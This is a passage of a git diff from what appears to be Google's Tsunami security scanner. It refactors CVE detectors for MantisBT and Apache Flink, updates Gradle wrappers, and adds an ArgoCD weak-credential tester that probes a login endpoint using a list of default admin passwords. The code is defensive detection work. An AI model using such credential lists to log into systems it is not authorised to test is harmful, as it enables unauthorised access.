and unauthenticated" - + " admin access via an empty confirm_hash value to verify.php.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/credentials/cve20177615/src/test/java/com/google/tsunami/plugins/detectors/credentials/cve20177615/MantisBTAuthenticationBypassDetectorTest.java b/google/detectors/credentials/cve20177615/src/test/java/com/google/tsunami/plugins/detectors/credentials/cve20177615/MantisBTAuthenticationBypassDetectorTest.java index 918086e05..8d9fcc7c0 100644 --- a/google/detectors/credentials/cve20177615/src/test/java/com/google/tsunami/plugins/detectors/credentials/cve20177615/MantisBTAuthenticationBypassDetectorTest.java +++ b/google/detectors/credentials/cve20177615/src/test/java/com/google/tsunami/plugins/detectors/credentials/cve20177615/MantisBTAuthenticationBypassDetectorTest.java @@ -30,11 +30,8 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -118,18 +115,7 @@ public void detect_whenWebAppIsVulnerable_reportsVuln() throws IOException { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2017_7615")) - .setSeverity(Severity.CRITICAL) - .setTitle("MantisBT Authentication Bypass (CVE-2017-7615)") - .setDescription( - "MantisBT through 2.3.0 allows arbitrary password reset and" - + " unauthenticated admin access via an empty confirm_hash value" - + " to verify.php.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/credentials/generic_weak_credential_detector/gradle/wrapper/gradle-wrapper.jar b/google/detectors/credentials/generic_weak_credential_detector/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/credentials/generic_weak_credential_detector/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/credentials/generic_weak_credential_detector/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/credentials/generic_weak_credential_detector/gradle/wrapper/gradle-wrapper.properties b/google/detectors/credentials/generic_weak_credential_detector/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/credentials/generic_weak_credential_detector/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/credentials/generic_weak_credential_detector/gradlew b/google/detectors/credentials/generic_weak_credential_detector/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/credentials/generic_weak_credential_detector/gradlew +++ b/google/detectors/credentials/generic_weak_credential_detector/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/credentials/generic_weak_credential_detector/gradlew.bat b/google/detectors/credentials/generic_weak_credential_detector/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/gradlew.bat +++ b/google/detectors/credentials/generic_weak_credential_detector/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetector.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetector.java index f0bf02a01..bd645caaa 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetector.java +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetector.java @@ -136,6 +136,14 @@ public DetectionReportList detect( return detectionReportsBuilder.build(); } + @Override + public ImmutableList getAdvisories() { + // Currently, we do not return any advisories for weak credentials. The notion of an advisory + // is very close to one having an identifier (e.g. CVE, GHSA, RSA, ...) and does not necessarily + // makes sense for weak credentials. + return ImmutableList.of(); + } + private void testServiceAndAddDetectionReport( TargetInfo targetInfo, NetworkService networkService, diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetectorBootstrapModule.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetectorBootstrapModule.java index b27c7693c..02ef55e90 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetectorBootstrapModule.java +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetectorBootstrapModule.java @@ -39,6 +39,7 @@ import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.grafana.GrafanaCredentialTester; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.hydra.HydraCredentialTester; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.jenkins.JenkinsCredentialTester; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.argocd.ArgoCdCredentialTester; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.mlflow.MlFlowCredentialTester; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.mysql.MysqlCredentialTester; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.hive.HiveCredentialTester; @@ -68,6 +69,7 @@ protected void configurePlugin() { Multibinder credentialTesterBinder = Multibinder.newSetBinder(binder(), CredentialTester.class); + credentialTesterBinder.addBinding().to(ArgoCdCredentialTester.class); credentialTesterBinder.addBinding().to(JenkinsCredentialTester.class); credentialTesterBinder.addBinding().to(MlFlowCredentialTester.class); credentialTesterBinder.addBinding().to(MysqlCredentialTester.class); diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/argocd/ArgoCdCredentialTester.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/argocd/ArgoCdCredentialTester.java new file mode 100644 index 000000000..714f2c099 --- /dev/null +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/argocd/ArgoCdCredentialTester.java @@ -0,0 +1,121 @@ +/* + * Copyright 2023 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.argocd; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.tsunami.common.net.http.HttpRequest.post; +import static com.google.tsunami.common.net.http.HttpStatus.TEMPORARY_REDIRECT; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.gson.JsonParser; +import com.google.gson.JsonSyntaxException; +import com.google.protobuf.ByteString; +import com.google.tsunami.common.data.NetworkEndpointUtils; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.provider.TestCredential; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.tester.CredentialTester; +import com.google.tsunami.proto.NetworkService; +import java.io.IOException; +import java.util.List; +import javax.inject.Inject; + +/** Credential tester specifically for argocd. */ +public final class ArgoCdCredentialTester extends CredentialTester { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private final HttpClient httpClient; + + private static final String ARGOCD_SERVICE = "argocd"; + + @Inject + ArgoCdCredentialTester(HttpClient httpClient) { + this.httpClient = checkNotNull(httpClient); + } + + @Override + public String name() { + return "ArgoCdCredentialTester"; + } + + @Override + public String description() { + return "ArgoCd credential tester."; + } + + @Override + public boolean canAccept(NetworkService networkService) { + return NetworkServiceUtils.getWebServiceName(networkService).equals(ARGOCD_SERVICE); + } + + @Override + public boolean batched() { + return true; + } + + @Override + public ImmutableList testValidCredentials( + NetworkService networkService, List credentials) { + // Always return 1st weak credential to gracefully handle no auth configured case, where we + // return empty credential instead of all the weak credentials + return credentials.stream() + .filter(cred -> isArgoCdAccessible(networkService, cred)) + .findFirst() + .map(ImmutableList::of) + .orElseGet(ImmutableList::of); + } + + private boolean isArgoCdAccessible(NetworkService networkService, TestCredential credential) { + var uriAuthority = NetworkEndpointUtils.toUriAuthority(networkService.getNetworkEndpoint()); + var url = String.format("http://%s/%s", uriAuthority, "api/v1/session"); + try { + logger.atInfo().log( + "url: %s, username: %s, password: %s", + url, credential.username(), credential.password().orElse("")); + ByteString loginReqBody = + ByteString.copyFromUtf8( + String.format( + "{\"username\":\"%s\",\"password\":\"%s\"}", + credential.username(), credential.password().get())); + HttpHeaders loginHeaders = + HttpHeaders.builder().addHeader("Content-Type", "application/json").build(); + HttpResponse loginResponse = + httpClient.send(post(url).setHeaders(loginHeaders).setRequestBody(loginReqBody).build()); + if (loginResponse.status() == TEMPORARY_REDIRECT) { + url = String.format("https://%s/%s", uriAuthority, "api/v1/session"); + loginResponse = + httpClient.send( + post(url).setHeaders(loginHeaders).setRequestBody(loginReqBody).build()); + } + return loginResponse.status().isSuccess() + && loginResponse.bodyString().isPresent() + && bodyContainsToken(loginResponse.bodyString().get()); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to query '%s'.", url); + return false; + } + } + + private static boolean bodyContainsToken(String responseBody) { + try { + return JsonParser.parseString(responseBody).getAsJsonObject().has("token"); + } catch (IllegalStateException | JsonSyntaxException e) { + return false; + } + } +} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/resources/detectors/credentials/genericweakcredentialdetector/data/service_default_credentials.textproto b/google/detectors/credentials/generic_weak_credential_detector/src/main/resources/detectors/credentials/genericweakcredentialdetector/data/service_default_credentials.textproto index 653b4e5ae..4da9fbe5f 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/resources/detectors/credentials/genericweakcredentialdetector/data/service_default_credentials.textproto +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/resources/detectors/credentials/genericweakcredentialdetector/data/service_default_credentials.textproto @@ -83,3 +83,11 @@ service_default_credentials { default_usernames: "default" default_passwords: "" } + +service_default_credentials { + service_name: "argocd" + default_usernames: "admin" + default_passwords: "Password1!" + default_passwords: "password" + default_passwords: "YOUR-PASSWORD-HERE" +} \ No newline at end of file diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/test/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/argocd/ArgoCdCredentialTesterTest.java b/google/detectors/credentials/generic_weak_credential_detector/src/test/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/argocd/ArgoCdCredentialTesterTest.java new file mode 100644 index 000000000..b6f68d013 --- /dev/null +++ b/google/detectors/credentials/generic_weak_credential_detector/src/test/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/argocd/ArgoCdCredentialTesterTest.java @@ -0,0 +1,176 @@ +/* + * Copyright 2023 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.argocd; + +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.verifyNoInteractions; +import static org.mockito.Mockito.when; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.tsunami.common.net.db.ConnectionProviderInterface; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.provider.TestCredential; +import com.google.tsunami.proto.NetworkService; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.sql.Connection; +import java.util.Objects; +import java.util.Optional; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; +import org.mockito.Mock; +import org.mockito.junit.MockitoJUnit; +import org.mockito.junit.MockitoRule; + +/** Tests for {@link ArgoCdCredentialTester}. */ +@RunWith(JUnit4.class) +public class ArgoCdCredentialTesterTest { + @Rule public MockitoRule rule = MockitoJUnit.rule(); + @Mock private ConnectionProviderInterface mockConnectionProvider; + @Mock private Connection mockConnection; + @Inject private ArgoCdCredentialTester tester; + private MockWebServer mockWebServer; + private static final TestCredential WEAK_CRED_1 = + TestCredential.create("admin", Optional.of("password")); + private static final TestCredential WEAK_CRED_2 = + TestCredential.create("admin", Optional.of("Password1!")); + private static final TestCredential WEAK_CRED_3 = + TestCredential.create("admin", Optional.of("YOUR-PASSWORD-HERE")); + private static final TestCredential WRONG_CRED_1 = + TestCredential.create("wrong", Optional.of("wrong")); + + @Before + public void setup() { + mockWebServer = new MockWebServer(); + Guice.createInjector(new HttpClientModule.Builder().build()).injectMembers(this); + } + + @Test + public void detect_weakCredentialsExists_returnsWeakCredentials() throws Exception { + startMockWebServer(); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setServiceName("argocd") + .build(); + + assertThat(tester.testValidCredentials(targetNetworkService, ImmutableList.of(WEAK_CRED_1))) + .containsExactly(WEAK_CRED_1); + mockWebServer.shutdown(); + } + + @Test + public void detect_weakCredentialsExist_returnsFirstWeakCredentials() throws Exception { + startMockWebServer(); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setServiceName("argocd") + .build(); + + assertThat( + tester.testValidCredentials( + targetNetworkService, ImmutableList.of(WEAK_CRED_1, WEAK_CRED_2, WEAK_CRED_3))) + .containsExactly(WEAK_CRED_1); + } + + @Test + public void detect_argocdService_canAccept() throws Exception { + startMockWebServer(); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setServiceName("argocd") + .build(); + + assertThat(tester.canAccept(targetNetworkService)).isTrue(); + } + + @Test + public void detect_noWeakCredentials_returnsNoCredentials() throws Exception { + startMockWebServer(); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setServiceName("argocd") + .build(); + assertThat(tester.testValidCredentials(targetNetworkService, ImmutableList.of(WRONG_CRED_1))) + .isEmpty(); + } + + @Test + public void detect_nonArgoCdService_skips() throws Exception { + when(mockConnectionProvider.getConnection(any(), any(), any())).thenReturn(mockConnection); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint(forHostnameAndPort("example.com", 8080)) + .setServiceName("http") + .build(); + + assertThat(tester.testValidCredentials(targetNetworkService, ImmutableList.of(WEAK_CRED_1))) + .isEmpty(); + verifyNoInteractions(mockConnectionProvider); + } + + private void startMockWebServer() throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + @Override + public MockResponse dispatch(RecordedRequest request) { + String authorizationRequestBody = request.getBody().readString(StandardCharsets.UTF_8); + if (request.getPath().equals("/api/v1/session") + && Objects.equals(request.getMethod(), "POST") + && Objects.equals(request.getHeader(CONTENT_TYPE), "application/json")) { + boolean isDefaultCredentials = + authorizationRequestBody.equals( + "{\"username\":\"admin\",\"password\":\"Password1!\"}") + || authorizationRequestBody.equals( + "{\"username\":\"admin\",\"password\":\"password\"}") + || authorizationRequestBody.equals( + "{\"username\":\"admin\",\"password\":\"YOUR-PASSWORD-HERE\"}"); + if (isDefaultCredentials) { + return new MockResponse() + .setResponseCode(200) + .setBody("{\"token\": \"AToken\"\n" + "}"); + } else { + return new MockResponse().setResponseCode(401); + } + } + return new MockResponse().setResponseCode(404); + } + }; + mockWebServer.setDispatcher(dispatcher); + mockWebServer.start(); + mockWebServer.url("/"); + } +} diff --git a/google/detectors/directorytraversal/cve202017519/gradle/wrapper/gradle-wrapper.jar b/google/detectors/directorytraversal/cve202017519/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/directorytraversal/cve202017519/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/directorytraversal/cve202017519/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/directorytraversal/cve202017519/gradle/wrapper/gradle-wrapper.properties b/google/detectors/directorytraversal/cve202017519/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/directorytraversal/cve202017519/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/directorytraversal/cve202017519/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/directorytraversal/cve202017519/gradlew b/google/detectors/directorytraversal/cve202017519/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/directorytraversal/cve202017519/gradlew +++ b/google/detectors/directorytraversal/cve202017519/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/directorytraversal/cve202017519/gradlew.bat b/google/detectors/directorytraversal/cve202017519/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/directorytraversal/cve202017519/gradlew.bat +++ b/google/detectors/directorytraversal/cve202017519/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/directorytraversal/cve202017519/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/cve202017519/Cve202017519Detector.java b/google/detectors/directorytraversal/cve202017519/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/cve202017519/Cve202017519Detector.java index 96071906c..8b336734a 100644 --- a/google/detectors/directorytraversal/cve202017519/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/cve202017519/Cve202017519Detector.java +++ b/google/detectors/directorytraversal/cve202017519/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/cve202017519/Cve202017519Detector.java @@ -87,6 +87,29 @@ private static class LogObject { this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2020_17519")) + .setSeverity(Severity.CRITICAL) + .setTitle("Apache Flink Unauthorized Directory Traversal (CVE-2020-17519)") + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2020-17519")) + .setDescription( + "A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and " + + "1.11.2 as well) allows attackers to read any file on the local " + + "filesystem of the JobManager through the REST interface of the " + + "JobManager process. Access is restricted to files accessible by the " + + "JobManager process.") + .setRecommendation( + "All users should upgrade to Flink 1.11.3 or 1.12.0 if their Flink instance(s)" + + " are exposed. The issue was fixed in commit" + + " b561010b0ee741543c3953306037f00d7a9f0801 from apache/flink:master.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -121,7 +144,7 @@ private boolean isServiceVulnerable(NetworkService networkService) { return httpResponse.bodyString().orElseGet(() -> "").contains(DETECTION_STRING); } catch (IOException e) { - logger.atWarning().withCause(e).log("Request to target %s failed", networkService); + logger.atWarning().withCause(e).log("Request to target %s failed", targetUri); // Avoid false positives. return false; } @@ -134,22 +157,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2020_17519")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache Flink 